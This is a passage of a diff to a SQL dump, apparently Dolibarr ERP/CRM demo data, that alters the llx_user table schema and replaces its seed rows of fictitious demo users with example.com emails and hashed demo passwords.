utf8mb3_unicode_ci DEFAULT NULL, + `note_private` text DEFAULT NULL, `datelastlogin` datetime DEFAULT NULL, `datepreviouslogin` datetime DEFAULT NULL, `egroupware_id` int(11) DEFAULT NULL, - `ldap_sid` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ldap_sid` varchar(255) DEFAULT NULL, `statut` tinyint(4) DEFAULT 1, - `photo` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `lang` varchar(6) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `openid` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `photo` varchar(255) DEFAULT NULL, + `lang` varchar(6) DEFAULT NULL, + `openid` varchar(255) DEFAULT NULL, `fk_user` int(11) DEFAULT NULL, `fk_user_expense_validator` int(11) DEFAULT NULL, `fk_user_holiday_validator` int(11) DEFAULT NULL, `thm` double(24,8) DEFAULT NULL, - `address` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `zip` varchar(25) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `town` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `address` varchar(255) DEFAULT NULL, + `zip` varchar(25) DEFAULT NULL, + `town` varchar(50) DEFAULT NULL, `fk_state` int(11) DEFAULT 0, `fk_country` int(11) DEFAULT 0, - `color` varchar(6) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `accountancy_code` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `barcode` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `color` varchar(6) DEFAULT NULL, + `accountancy_code` varchar(32) DEFAULT NULL, + `barcode` varchar(255) DEFAULT NULL, `fk_barcode_type` int(11) DEFAULT 0, `nb_holiday` int(11) DEFAULT 0, `salary` double(24,8) DEFAULT NULL, `tjm` double(24,8) DEFAULT NULL, `salaryextra` double(24,8) DEFAULT NULL, `weeklyhours` double(16,8) DEFAULT NULL, - `gender` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `gender` varchar(10) DEFAULT NULL, + `note_public` text DEFAULT NULL, `dateemployment` datetime DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, `birth` date DEFAULT NULL, - `pass_encoding` varchar(24) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `pass_encoding` varchar(24) DEFAULT NULL, `default_range` int(11) DEFAULT NULL, `default_c_exp_tax_cat` int(11) DEFAULT NULL, `dateemploymentend` date DEFAULT NULL, `fk_warehouse` int(11) DEFAULT NULL, - `iplastlogin` varchar(250) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ippreviouslogin` varchar(250) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `iplastlogin` varchar(250) DEFAULT NULL, + `ippreviouslogin` varchar(250) DEFAULT NULL, `datelastpassvalidation` datetime DEFAULT NULL, `datestartvalidity` datetime DEFAULT NULL, `dateendvalidity` datetime DEFAULT NULL, - `idpers1` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `idpers2` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `idpers3` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `national_registration_number` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `national_registration_number` varchar(50) DEFAULT NULL, + `birth_place` varchar(64) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_user_login` (`login`,`entity`), UNIQUE KEY `uk_user_fk_socpeople` (`fk_socpeople`), @@ -13374,7 +12474,7 @@ CREATE TABLE `llx_user` ( UNIQUE KEY `uk_user_api_key` (`api_key`), KEY `idx_user_api_key` (`api_key`), KEY `idx_user_fk_societe` (`fk_soc`) -) ENGINE=InnoDB AUTO_INCREMENT=20 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=30 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -13383,7 +12483,7 @@ CREATE TABLE `llx_user` ( LOCK TABLES `llx_user` WRITE; /*!40000 ALTER TABLE `llx_user` DISABLE KEYS */; -INSERT INTO `llx_user` VALUES (1,'2012-07-08 13:20:11','2021-04-15 10:42:13',NULL,NULL,'aeinstein',0,NULL,'',NULL,1,0,NULL,'$2y$10$lIvMb5RJjxqmd6OxnZLqvuLZGOXj3gxIQhZQUqcY8fQTyh0cTtUpa',NULL,NULL,'Einstein','Albert','','123456789','','','','aeinstein@example.com','','{\"facebook\":\"\",\"skype\":\"\",\"twitter\":\"\",\"linkedin\":\"\",\"instagram\":\"\",\"snapchat\":\"\",\"googleplus\":\"\",\"youtube\":\"\",\"whatsapp\":\"\",\"tumblr\":\"\",\"vero\":\"\",\"viadeo\":\"\",\"slack\":\"\",\"xing\":\"\",\"meetup\":\"\",\"pinterest\":\"\",\"flickr\":\"\",\"500px\":\"\",\"giphy\":\"\",\"gifycat\":\"\",\"dailymotion\":\"\",\"vimeo\":\"\",\"periscope\":\"\",\"twitch\":\"\",\"discord\":\"\",\"wikipedia\":\"\",\"reddit\":\"\",\"quora\":\"\",\"tripadvisor\":\"\",\"mastodon\":\"\",\"diaspora\":\"\",\"viber\":\"\",\"github\":\"\"}','',0,NULL,NULL,NULL,'','2017-10-05 08:32:44','2017-10-03 11:43:50',NULL,'',1,'alberteinstein.jpg',NULL,NULL,14,NULL,NULL,NULL,'','','',NULL,NULL,'aaaaff','',NULL,0,0,NULL,NULL,NULL,44.00000000,'man','',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(2,'2012-07-08 13:54:48','2021-04-15 10:41:35',NULL,NULL,'demo',1,NULL,NULL,NULL,1,0,NULL,'$2y$10$Hgawd0DFS2bgBiM6rJuAZ.ff250vlm111HVWBJQvRzRq5hNijLxam',NULL,NULL,'Doe','David','Trainee','09123123','','','','daviddoe@example.com','','[]','',0,NULL,NULL,NULL,'','2018-07-30 23:10:54','2018-07-30 23:04:17',NULL,'',1,'person9.jpeg',NULL,NULL,11,NULL,NULL,NULL,'','','',NULL,NULL,'','',NULL,0,0,NULL,NULL,NULL,35.00000000,'man',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(3,'2012-07-11 16:18:59','2021-04-15 10:41:35',NULL,NULL,'pcurie',1,NULL,NULL,NULL,1,0,NULL,'$2y$10$Hgawd0DFS2bgBiM6rJuAZ.ff250vlm111HVWBJQvRzRq5hNijLxam',NULL,NULL,'Curie','Pierre','','','','','','pcurie@example.com','','[]','',0,NULL,NULL,2,'','2014-12-21 17:38:55',NULL,NULL,'',1,'pierrecurie.jpg',NULL,NULL,14,NULL,NULL,NULL,'','','',NULL,NULL,'','',NULL,0,0,NULL,NULL,NULL,39.00000000,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(4,'2015-01-23 17:52:27','2021-04-15 10:41:35',NULL,NULL,'bbookkeeper',1,NULL,NULL,NULL,1,0,NULL,'$2y$10$Hgawd0DFS2bgBiM6rJuAZ.ff250vlm111HVWBJQvRzRq5hNijLxam',NULL,NULL,'Bookkeeper','Bob','Bookkeeper','','','','','bbookkeeper@example.com','','{\"skype\":\"skypebbookkeeper\"}','',0,17,6,NULL,'','2015-02-25 10:18:41','2015-01-23 17:53:20',NULL,'',1,'person8.jpeg',NULL,NULL,11,NULL,NULL,NULL,'','','',NULL,NULL,'','',NULL,0,0,NULL,NULL,NULL,16.00000000,'man',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(10,'2017-10-03 11:47:41','2021-04-15 10:41:35',NULL,NULL,'mcurie',1,NULL,NULL,NULL,1,0,NULL,'$2y$10$Hgawd0DFS2bgBiM6rJuAZ.ff250vlm111HVWBJQvRzRq5hNijLxam',NULL,'t3mnkbhs','Curie','Marie','','','','','','mcurie@example.com','','[]','',0,NULL,NULL,NULL,'',NULL,NULL,NULL,'',1,'mariecurie.jpg',NULL,NULL,14,NULL,NULL,NULL,'','','',NULL,NULL,'ffaaff','',NULL,0,0,NULL,NULL,NULL,44.00000000,'woman',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(11,'2017-10-05 09:07:52','2021-04-15 10:40:22',NULL,NULL,'zzeceo',1,NULL,'',NULL,1,0,NULL,'$2y$10$Hgawd0DFS2bgBiM6rJuAZ.ff250vlm111HVWBJQvRzRq5hNijLxam',NULL,'cq78nf9m','Zeceo','Zack','President - CEO','','','','','zzeceo@example.com','','{\"facebook\":\"\",\"skype\":\"\",\"twitter\":\"\",\"linkedin\":\"\",\"instagram\":\"\",\"snapchat\":\"\",\"googleplus\":\"\",\"youtube\":\"\",\"whatsapp\":\"\",\"tumblr\":\"\",\"vero\":\"\",\"viadeo\":\"\",\"slack\":\"\",\"xing\":\"\",\"meetup\":\"\",\"pinterest\":\"\",\"flickr\":\"\",\"500px\":\"\",\"giphy\":\"\",\"gifycat\":\"\",\"dailymotion\":\"\",\"vimeo\":\"\",\"periscope\":\"\",\"twitch\":\"\",\"discord\":\"\",\"wikipedia\":\"\",\"reddit\":\"\",\"quora\":\"\",\"tripadvisor\":\"\",\"mastodon\":\"\",\"diaspora\":\"\",\"viber\":\"\",\"github\":\"\"}','',0,NULL,NULL,NULL,'','2017-10-05 22:48:08','2017-10-05 21:18:46',NULL,'',1,'person4.jpeg',NULL,NULL,NULL,NULL,NULL,NULL,'','','',NULL,NULL,'','',NULL,0,0,NULL,NULL,NULL,39.00000000,NULL,'','2019-06-10 00:00:00',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(12,'2017-10-05 09:09:46','2021-04-15 10:38:52',NULL,NULL,'admin',0,NULL,'',NULL,1,0,NULL,'$2y$10$5qk/U.aOy.7uBSNxpwiqkOfBlCUop9c2wKWuFZ/wZ2hAC9lriGqnG',NULL,'nd6hgbcr','Adminson','Alice','Admin Technical','','','','','aadminson@example.com','','{\"facebook\":\"\",\"skype\":\"\",\"twitter\":\"\",\"linkedin\":\"\",\"instagram\":\"\",\"snapchat\":\"\",\"googleplus\":\"\",\"youtube\":\"\",\"whatsapp\":\"\",\"tumblr\":\"\",\"vero\":\"\",\"viadeo\":\"\",\"slack\":\"\",\"xing\":\"\",\"meetup\":\"\",\"pinterest\":\"\",\"flickr\":\"\",\"500px\":\"\",\"giphy\":\"\",\"gifycat\":\"\",\"dailymotion\":\"\",\"vimeo\":\"\",\"periscope\":\"\",\"twitch\":\"\",\"discord\":\"\",\"wikipedia\":\"\",\"reddit\":\"\",\"quora\":\"\",\"tripadvisor\":\"\",\"mastodon\":\"\",\"diaspora\":\"\",\"viber\":\"\",\"github\":\"\"}','Alice - 123',1,NULL,NULL,NULL,'','2022-07-05 07:56:33','2021-04-15 07:59:04',NULL,'',1,'person6.jpeg',NULL,NULL,11,NULL,NULL,NULL,'','','',NULL,NULL,'','',NULL,0,0,2700.00000000,NULL,NULL,39.00000000,'woman','',NULL,NULL,'generic_user_odt','1985-09-15',NULL,NULL,NULL,NULL,NULL,'192.168.0.254',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(13,'2017-10-05 21:29:35','2021-04-15 10:41:51',NULL,NULL,'ccommercy',1,NULL,'',NULL,1,0,NULL,'$2y$10$KTaKE0NyYyJSCogsxtwR.eADst17XYMrOWlsFfVLR60IbjANIVLHK',NULL,'y451ksdv','Commercy','Coraly','Commercial leader','','','','','ccommercy@example.com','','{\"facebook\":\"\",\"skype\":\"\",\"twitter\":\"\",\"linkedin\":\"\",\"instagram\":\"\",\"snapchat\":\"\",\"googleplus\":\"\",\"youtube\":\"\",\"whatsapp\":\"\",\"tumblr\":\"\",\"vero\":\"\",\"viadeo\":\"\",\"slack\":\"\",\"xing\":\"\",\"meetup\":\"\",\"pinterest\":\"\",\"flickr\":\"\",\"500px\":\"\",\"giphy\":\"\",\"gifycat\":\"\",\"dailymotion\":\"\",\"vimeo\":\"\",\"periscope\":\"\",\"twitch\":\"\",\"discord\":\"\",\"wikipedia\":\"\",\"reddit\":\"\",\"quora\":\"\",\"tripadvisor\":\"\",\"mastodon\":\"\",\"diaspora\":\"\",\"viber\":\"\",\"github\":\"\"}','',0,NULL,NULL,NULL,'',NULL,NULL,NULL,'',1,'person7.jpeg',NULL,NULL,11,NULL,NULL,NULL,'','','',NULL,NULL,'','',NULL,0,0,1890.00000000,NULL,NULL,25.00000000,'woman','','2018-09-11 00:00:00',NULL,NULL,'1998-12-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(14,'2017-10-05 21:33:33','2021-04-15 10:41:35',NULL,NULL,'sscientol',1,NULL,NULL,NULL,1,0,NULL,'$2y$10$Hgawd0DFS2bgBiM6rJuAZ.ff250vlm111HVWBJQvRzRq5hNijLxam',NULL,'s2hp8bxd','Scientol','Sam','Scientist leader','','','','','sscientol@example.com','','[]','',0,NULL,NULL,NULL,'',NULL,NULL,NULL,'',1,'person3.jpeg',NULL,NULL,11,NULL,NULL,NULL,'','','',NULL,NULL,'','',NULL,0,0,3500.00000000,NULL,NULL,39.00000000,NULL,NULL,'2018-07-03 00:00:00',NULL,NULL,NULL,NULL,NULL,NULL,NULL,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(16,'2017-10-05 22:47:52','2021-04-15 10:41:35',NULL,NULL,'ccommerson',1,NULL,NULL,NULL,1,0,NULL,'$2y$10$Hgawd0DFS2bgBiM6rJuAZ.ff250vlm111HVWBJQvRzRq5hNijLxam',NULL,'cx9y1dk0','Charle1','Commerson','Sale representative','','','','','ccommerson@example.com','','[]','',0,NULL,NULL,NULL,'','2017-10-05 23:46:24','2017-10-05 23:37:31',NULL,'',1,'person1.jpeg',NULL,NULL,13,NULL,NULL,NULL,'','','',NULL,NULL,'','',NULL,0,0,2900.00000000,NULL,NULL,39.00000000,NULL,NULL,'2019-09-01 00:00:00',NULL,NULL,'1976-02-05',NULL,NULL,NULL,NULL,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(17,'2017-10-05 22:48:39','2021-04-15 10:41:35',NULL,NULL,'aleerfok',1,NULL,NULL,NULL,1,0,NULL,'$2y$10$Hgawd0DFS2bgBiM6rJuAZ.ff250vlm111HVWBJQvRzRq5hNijLxam',NULL,'gw8cb7xj','Leerfok','Amanda','Sale representative','','','','','aleerfok@example.com','','[]','',0,NULL,NULL,NULL,'','2017-10-05 23:16:06',NULL,NULL,'',0,'person5.jpeg',NULL,NULL,13,NULL,NULL,NULL,'','','',NULL,NULL,'','',NULL,0,0,NULL,NULL,NULL,39.00000000,'woman',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(18,'2018-01-22 17:27:02','2021-04-15 10:41:35',NULL,NULL,'ldestailleur',1,NULL,NULL,NULL,1,0,NULL,'$2y$10$Hgawd0DFS2bgBiM6rJuAZ.ff250vlm111HVWBJQvRzRq5hNijLxam',NULL,'87g06wbx','Destailleur','Laurent','Project leader of Dolibarr ERP CRM','','','','','ldestailleur@example.com','','[]','
Laurent DESTAILLEUR
\r\n\r\n
\r\n
Project Director
\r\nldestailleur@example.com
\r\n\r\n
 
\r\n\r\n\r\n
',0,10,10,NULL,'More information on http://www.mydomain.com','2019-10-04 10:06:40','2017-09-06 11:55:30',NULL,'',1,'ldestailleur_200x200.jpg',NULL,NULL,NULL,NULL,NULL,NULL,'','','',NULL,NULL,'007f7f','',NULL,0,0,NULL,NULL,NULL,NULL,'man',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(19,'2017-02-02 03:55:44','2021-04-15 10:41:35',NULL,NULL,'aboston',1,NULL,NULL,NULL,1,0,NULL,'$2y$10$Hgawd0DFS2bgBiM6rJuAZ.ff250vlm111HVWBJQvRzRq5hNijLxam',NULL,NULL,'Boston','Alex','','','','','','aboston@example.com','','[]','Alex Boston
\r\nAdmin support service - 555 01 02 03 04',0,NULL,NULL,NULL,'',NULL,NULL,NULL,'',0,'person2.jpeg',NULL,NULL,12,NULL,NULL,25.00000000,'','','',NULL,NULL,'ff00ff','',NULL,0,0,2700.00000000,NULL,NULL,32.00000000,NULL,NULL,'2016-11-04 00:00:00',NULL,NULL,NULL,NULL,NULL,NULL,NULL,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL); +INSERT INTO `llx_user` VALUES (1,'2012-07-08 13:20:11','2023-03-13 11:45:20',NULL,NULL,'aeinstein',0,'','',NULL,1,0,NULL,'$2y$10$lIvMb5RJjxqmd6OxnZLqvuLZGOXj3gxIQhZQUqcY8fQTyh0cTtUpa',NULL,'dolcrypt:AES-256-CTR:10fbb3f05469219f:QbKVp8jFpxklPuBYahTv3dEuvrOOB2P2mHRYwhQUdv4=','Einstein','Albert','','123456789','','','','aeinstein@example.com','','[]','',0,NULL,NULL,NULL,'','2017-10-05 08:32:44','2017-10-03 11:43:50',NULL,'',1,'alberteinstein.jpg',NULL,NULL,14,NULL,NULL,NULL,'','','',NULL,NULL,'aaaaff','',NULL,0,0,NULL,NULL,NULL,44.00000000,'man','',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'',NULL),(2,'2012-07-08 13:54:48','2021-04-15 10:41:35',NULL,NULL,'demo',1,NULL,NULL,NULL,1,0,NULL,'$2y$10$Hgawd0DFS2bgBiM6rJuAZ.ff250vlm111HVWBJQvRzRq5hNijLxam',NULL,NULL,'Doe','David','Trainee','09123123','','','','daviddoe@example.com','','[]','',0,NULL,NULL,NULL,'','2018-07-30 23:10:54','2018-07-30 23:04:17',NULL,'',1,'person9.jpeg',NULL,NULL,11,NULL,NULL,NULL,'','','',NULL,NULL,'','',NULL,0,0,NULL,NULL,NULL,35.00000000,'man',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(3,'2012-07-11 16:18:59','2023-01-14 10:46:33',NULL,NULL,'pcurie',1,'','',NULL,1,0,NULL,'$2y$10$Hgawd0DFS2bgBiM6rJuAZ.ff250vlm111HVWBJQvRzRq5hNijLxam',NULL,NULL,'Curie','Pierre','','','','','','pcurie@example.com','','[]','',0,NULL,NULL,2,'','2014-12-21 17:38:55',NULL,NULL,'',1,'dolicloud_avent_saas.png',NULL,NULL,14,NULL,NULL,NULL,'','','',NULL,NULL,'','',NULL,0,0,NULL,NULL,NULL,39.00000000,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'',NULL),(4,'2015-01-23 17:52:27','2021-04-15 10:41:35',NULL,NULL,'bbookkeeper',1,NULL,NULL,NULL,1,0,NULL,'$2y$10$Hgawd0DFS2bgBiM6rJuAZ.ff250vlm111HVWBJQvRzRq5hNijLxam',NULL,NULL,'Bookkeeper','Bob','Bookkeeper','','','','','bbookkeeper@example.com','','{\"skype\":\"skypebbookkeeper\"}','',0,17,6,NULL,'','2015-02-25 10:18:41','2015-01-23 17:53:20',NULL,'',1,'person8.jpeg',NULL,NULL,11,NULL,NULL,NULL,'','','',NULL,NULL,'','',NULL,0,0,NULL,NULL,NULL,16.00000000,'man',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(10,'2017-10-03 11:47:41','2023-03-15 15:07:13',NULL,NULL,'mcurie',1,NULL,NULL,NULL,1,0,NULL,'$2y$10$Hgawd0DFS2bgBiM6rJuAZ.ff250vlm111HVWBJQvRzRq5hNijLxam',NULL,NULL,'Curie','Marie','','','','','','mcurie@example.com','','[]','',0,NULL,NULL,NULL,'',NULL,NULL,NULL,'',1,'mariecurie.jpg',NULL,NULL,14,NULL,NULL,NULL,'','','',NULL,NULL,'ffaaff','',NULL,0,0,NULL,NULL,NULL,44.00000000,'woman',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(11,'2017-10-05 09:07:52','2023-03-15 15:07:13',NULL,NULL,'zzeceo',1,NULL,'',NULL,1,0,NULL,'$2y$10$Hgawd0DFS2bgBiM6rJuAZ.ff250vlm111HVWBJQvRzRq5hNijLxam',NULL,NULL,'Zeceo','Zack','President - CEO','','','','','zzeceo@example.com','','{\"facebook\":\"\",\"skype\":\"\",\"twitter\":\"\",\"linkedin\":\"\",\"instagram\":\"\",\"snapchat\":\"\",\"googleplus\":\"\",\"youtube\":\"\",\"whatsapp\":\"\",\"tumblr\":\"\",\"vero\":\"\",\"viadeo\":\"\",\"slack\":\"\",\"xing\":\"\",\"meetup\":\"\",\"pinterest\":\"\",\"flickr\":\"\",\"500px\":\"\",\"giphy\":\"\",\"gifycat\":\"\",\"dailymotion\":\"\",\"vimeo\":\"\",\"periscope\":\"\",\"twitch\":\"\",\"discord\":\"\",\"wikipedia\":\"\",\"reddit\":\"\",\"quora\":\"\",\"tripadvisor\":\"\",\"mastodon\":\"\",\"diaspora\":\"\",\"viber\":\"\",\"github\":\"\"}','',0,NULL,NULL,NULL,'','2017-10-05 22:48:08','2017-10-05 21:18:46',NULL,'',1,'person4.jpeg',NULL,NULL,NULL,NULL,NULL,NULL,'','','',NULL,NULL,'','',NULL,0,0,NULL,NULL,NULL,39.00000000,NULL,'','2019-06-10 00:00:00',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(12,'2017-10-05 09:09:46','2023-03-15 15:08:17',NULL,12,'admin',0,'','',NULL,1,0,NULL,'$2y$10$5qk/U.aOy.7uBSNxpwiqkOfBlCUop9c2wKWuFZ/wZ2hAC9lriGqnG',NULL,'dolcrypt:AES-256-CTR:10fbb3f05469219f:QbKVp8jFpxklPuBAahTv3dEEvrOOB2P2mHRYwhQUdv4=','Adminson','Alice','Admin Technical','','','','','aadminson@example.com','','[]','Alice - 123',1,NULL,NULL,NULL,'kmlk','2023-03-15 05:37:42','2023-03-13 15:22:58',NULL,'',1,'ldestailleur_200x200.jpg',NULL,NULL,11,NULL,NULL,NULL,'','','',NULL,NULL,'','',NULL,0,0,2700.00000000,NULL,NULL,39.00000000,'woman','',NULL,NULL,'generic_user_odt','1985-09-15',NULL,NULL,NULL,NULL,NULL,'127.0.0.1','192.168.0.254',NULL,NULL,NULL,'',NULL),(13,'2017-10-05 21:29:35','2023-03-15 15:07:36',NULL,NULL,'ccommercy',1,NULL,'',NULL,1,0,NULL,'$2y$10$KTaKE0NyYyJSCogsxtwR.eADst17XYMrOWlsFfVLR60IbjANIVLHK',NULL,NULL,'Commercy','Coraly','Commercial leader','','','','','ccommercy@example.com','','{\"facebook\":\"\",\"skype\":\"\",\"twitter\":\"\",\"linkedin\":\"\",\"instagram\":\"\",\"snapchat\":\"\",\"googleplus\":\"\",\"youtube\":\"\",\"whatsapp\":\"\",\"tumblr\":\"\",\"vero\":\"\",\"viadeo\":\"\",\"slack\":\"\",\"xing\":\"\",\"meetup\":\"\",\"pinterest\":\"\",\"flickr\":\"\",\"500px\":\"\",\"giphy\":\"\",\"gifycat\":\"\",\"dailymotion\":\"\",\"vimeo\":\"\",\"periscope\":\"\",\"twitch\":\"\",\"discord\":\"\",\"wikipedia\":\"\",\"reddit\":\"\",\"quora\":\"\",\"tripadvisor\":\"\",\"mastodon\":\"\",\"diaspora\":\"\",\"viber\":\"\",\"github\":\"\"}','',0,NULL,NULL,NULL,'',NULL,NULL,NULL,'',1,'person7.jpeg',NULL,NULL,11,NULL,NULL,NULL,'','','',NULL,NULL,'','',NULL,0,0,1890.00000000,NULL,NULL,25.00000000,'woman','','2018-09-11 00:00:00',NULL,NULL,'1998-12-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(14,'2017-10-05 21:33:33','2023-03-15 15:07:36',NULL,NULL,'sscientol',1,NULL,NULL,NULL,1,0,NULL,'$2y$10$Hgawd0DFS2bgBiM6rJuAZ.ff250vlm111HVWBJQvRzRq5hNijLxam',NULL,NULL,'Scientol','Sam','Scientist leader','','','','','sscientol@example.com','','[]','',0,NULL,NULL,NULL,'',NULL,NULL,NULL,'',1,'person3.jpeg',NULL,NULL,11,NULL,NULL,NULL,'','','',NULL,NULL,'','',NULL,0,0,3500.00000000,NULL,NULL,39.00000000,NULL,NULL,'2018-07-03 00:00:00',NULL,NULL,NULL,NULL,NULL,NULL,NULL,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(16,'2017-10-05 22:47:52','2023-03-15 15:07:36',NULL,NULL,'ccommerson',1,NULL,NULL,NULL,1,0,NULL,'$2y$10$Hgawd0DFS2bgBiM6rJuAZ.ff250vlm111HVWBJQvRzRq5hNijLxam',NULL,NULL,'Charle1','Commerson','Sale representative','','','','','ccommerson@example.com','','[]','',0,NULL,NULL,NULL,'','2017-10-05 23:46:24','2017-10-05 23:37:31',NULL,'',1,'person1.jpeg',NULL,NULL,13,NULL,NULL,NULL,'','','',NULL,NULL,'','',NULL,0,0,2900.00000000,NULL,NULL,39.00000000,NULL,NULL,'2019-09-01 00:00:00',NULL,NULL,'1976-02-05',NULL,NULL,NULL,NULL,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(17,'2017-10-05 22:48:39','2023-03-15 15:07:36',NULL,NULL,'aleerfok',1,NULL,NULL,NULL,1,0,NULL,'$2y$10$Hgawd0DFS2bgBiM6rJuAZ.ff250vlm111HVWBJQvRzRq5hNijLxam',NULL,NULL,'Leerfok','Amanda','Sale representative','','','','','aleerfok@example.com','','[]','',0,NULL,NULL,NULL,'','2017-10-05 23:16:06',NULL,NULL,'',0,'person5.jpeg',NULL,NULL,13,NULL,NULL,NULL,'','','',NULL,NULL,'','',NULL,0,0,NULL,NULL,NULL,39.00000000,'woman',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(18,'2018-01-22 17:27:02','2023-03-15 15:08:17',NULL,NULL,'ldestailleur',1,NULL,NULL,NULL,1,0,NULL,'$2y$10$Hgawd0DFS2bgBiM6rJuAZ.ff250vlm111HVWBJQvRzRq5hNijLxam',NULL,NULL,'Destailleur','Laurent','Project leader of Dolibarr ERP CRM','','','','','ldestailleur@example.com','','[]','',0,10,10,NULL,'More information on http://www.mydomain.com','2019-10-04 10:06:40','2017-09-06 11:55:30',NULL,'',1,'ldestailleur_200x200.jpg',NULL,NULL,NULL,NULL,NULL,NULL,'','','',NULL,NULL,'007f7f','',NULL,0,0,NULL,NULL,NULL,NULL,'man',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(19,'2017-02-02 03:55:44','2021-04-15 10:41:35',NULL,NULL,'aboston',1,NULL,NULL,NULL,1,0,NULL,'$2y$10$Hgawd0DFS2bgBiM6rJuAZ.ff250vlm111HVWBJQvRzRq5hNijLxam',NULL,NULL,'Boston','Alex','','','','','','aboston@example.com','','[]','Alex Boston
\r\nAdmin support service - 555 01 02 03 04',0,NULL,NULL,NULL,'',NULL,NULL,NULL,'',0,'person2.jpeg',NULL,NULL,12,NULL,NULL,25.00000000,'','','',NULL,NULL,'ff00ff','',NULL,0,0,2700.00000000,NULL,NULL,32.00000000,NULL,NULL,'2016-11-04 00:00:00',NULL,NULL,NULL,NULL,NULL,NULL,NULL,-1,NULL,NULL,NULL,NULL,NULL,NULL,NULL),(22,'2022-12-13 11:28:20','2023-02-25 15:00:16',NULL,NULL,'noperm',1,'','',NULL,1,0,NULL,'$2y$10$g.VTJej0pV4ozOY.X/e5muWjbKkayuu6gvf7mVgUqxsArqSoy7qnC',NULL,NULL,'noperm','noperm','','','','','','','','[]','',0,NULL,NULL,NULL,'','2023-02-25 12:00:24','2022-12-13 11:29:23',NULL,'',1,NULL,NULL,NULL,12,12,12,NULL,'','','',NULL,NULL,'','',NULL,0,0,NULL,NULL,NULL,NULL,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'127.0.0.1','127.0.0.1',NULL,NULL,NULL,'',NULL),(29,'2023-02-25 12:08:43','2023-03-15 15:07:36',NULL,NULL,'test',1,'','',NULL,1,0,NULL,'$2y$10$etr5jNn7iShYbwhjcnGq2.QC1UZJfljdt/Y83KkdXya4akasUGgUy',NULL,NULL,'test','test','','','','','','','','[]','',0,NULL,NULL,NULL,'','2023-02-25 